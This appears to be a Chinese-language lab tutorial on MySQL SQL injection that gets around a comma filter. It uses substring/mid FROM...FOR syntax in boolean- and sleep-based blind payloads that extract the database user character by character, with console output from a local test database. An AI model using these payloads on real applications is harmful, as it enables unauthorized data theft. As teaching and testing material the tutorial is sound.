0x00 概要

不允许 逗号(,) 出现时的注入方法

• substring(str FROM pos)
• substr(str FROM pos)
• mid(str FROM pos)

• 从字符串str的起始位置pos 返回一个子串

0x01 解法

0x01.1 解法一

mysql> select  ascii(substring((select user()) from 1));
+------------------------------------------+
| ascii(substring((select user()) from 1)) |
+------------------------------------------+
|                                      114 |
+------------------------------------------+
1 row in set (0.00 sec)

mysql> select  ascii(substring((select user()) from 2));
+------------------------------------------+
| ascii(substring((select user()) from 2)) |
+------------------------------------------+
|                                      111 |
+------------------------------------------+
1 row in set (0.00 sec)

0x01.2 解法二

• from 表示从什么位置截取，for 表示截取几个字符。

  mysql> select  substring((select user()) from 1 for  1);
  +------------------------------------------+
  | substring((select user()) from 1 for  1) |
  +------------------------------------------+
  | r                                        |
  +------------------------------------------+
  1 row in set (0.00 sec)

mysql> select  substring((select user()) from 2 for  1);
+------------------------------------------+
| substring((select user()) from 2 for  1) |
+------------------------------------------+
| o                                        |
+------------------------------------------+
1 row in set (0.00 sec)

0x02 盲注实验

0x02.1 基础数据

// 当前用户
mysql> select user();
+----------------+
| user()         |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)

// 测试数据
mysql> select * from users where id = 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

0x02.2 编码转换

// 第一个字符的ascii码
mysql> select ascii(mid(user() from 1));
+---------------------------+
| ascii(mid(user() from 1)) |
+---------------------------+
|                       114 |
+---------------------------+
1 row in set (0.00 sec)

// 第二个字符的ascii码
mysql> select ascii(mid(user() from 2));
+---------------------------+
| ascii(mid(user() from 2)) |
+---------------------------+
|                       111 |
+---------------------------+
1 row in set (0.00 sec)

// 十进制转码
mysql> select char(114);
+-----------+
| char(114) |
+-----------+
| r         |
+-----------+
1 row in set (0.00 sec)

// 十进制转码
mysql> select char(111);
+-----------+
| char(111) |
+-----------+
| o         |
+-----------+
1 row in set (0.00 sec)

0x02.3 解法一-布尔盲注查询数据库用户名

substring, substr, mid 这3个函数利用方式都是一样的，所以就只举例一个

// 正确的情况
mysql>  SELECT * from users where id = 1 and (select ascii(mid(user() from 1))=114);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | Dumb     | Dumb     |
+----+----------+----------+
1 row in set (0.00 sec)

// 错误的情况
mysql> SELECT * from users where id = 1 and (select ascii(mid(user() from 1))=119);
Empty set (0.00 sec)

0x02.4 解法一-延时盲注查询数据库用户名

substring, substr, mid 这3个函数利用方式都是一样的，所以就只举例一个

// 正确的情况
mysql> SELECT * from test where id = 1 and case when(ascii(substring(user() from 1))=114) then sleep(5) else 0 end;
Empty set (5.00 sec)

// 错误的情况
mysql> SELECT * from test where id = 1 and case when(ascii(substring(user() from 1))=119) then sleep(5) else 0 end;
Empty set (0.00 sec)

0x02.5 解法二-延时盲注查询数据库用户名

substring, substr, mid 这3个函数利用方式都是一样的，所以就只举例一个

// 正确的情况
mysql> SELECT * from users where id = 1 and case when(substring(user() from 1 for 1)='r') then sleep(5) else 1 end;;
Empty set (5.01 sec)

// 错误的情况
mysql> SELECT * from users where id = 1 and case when(substring(user() from 1 for 1)='s') then sleep(5) else 1 end;;
Empty set (0.00 sec)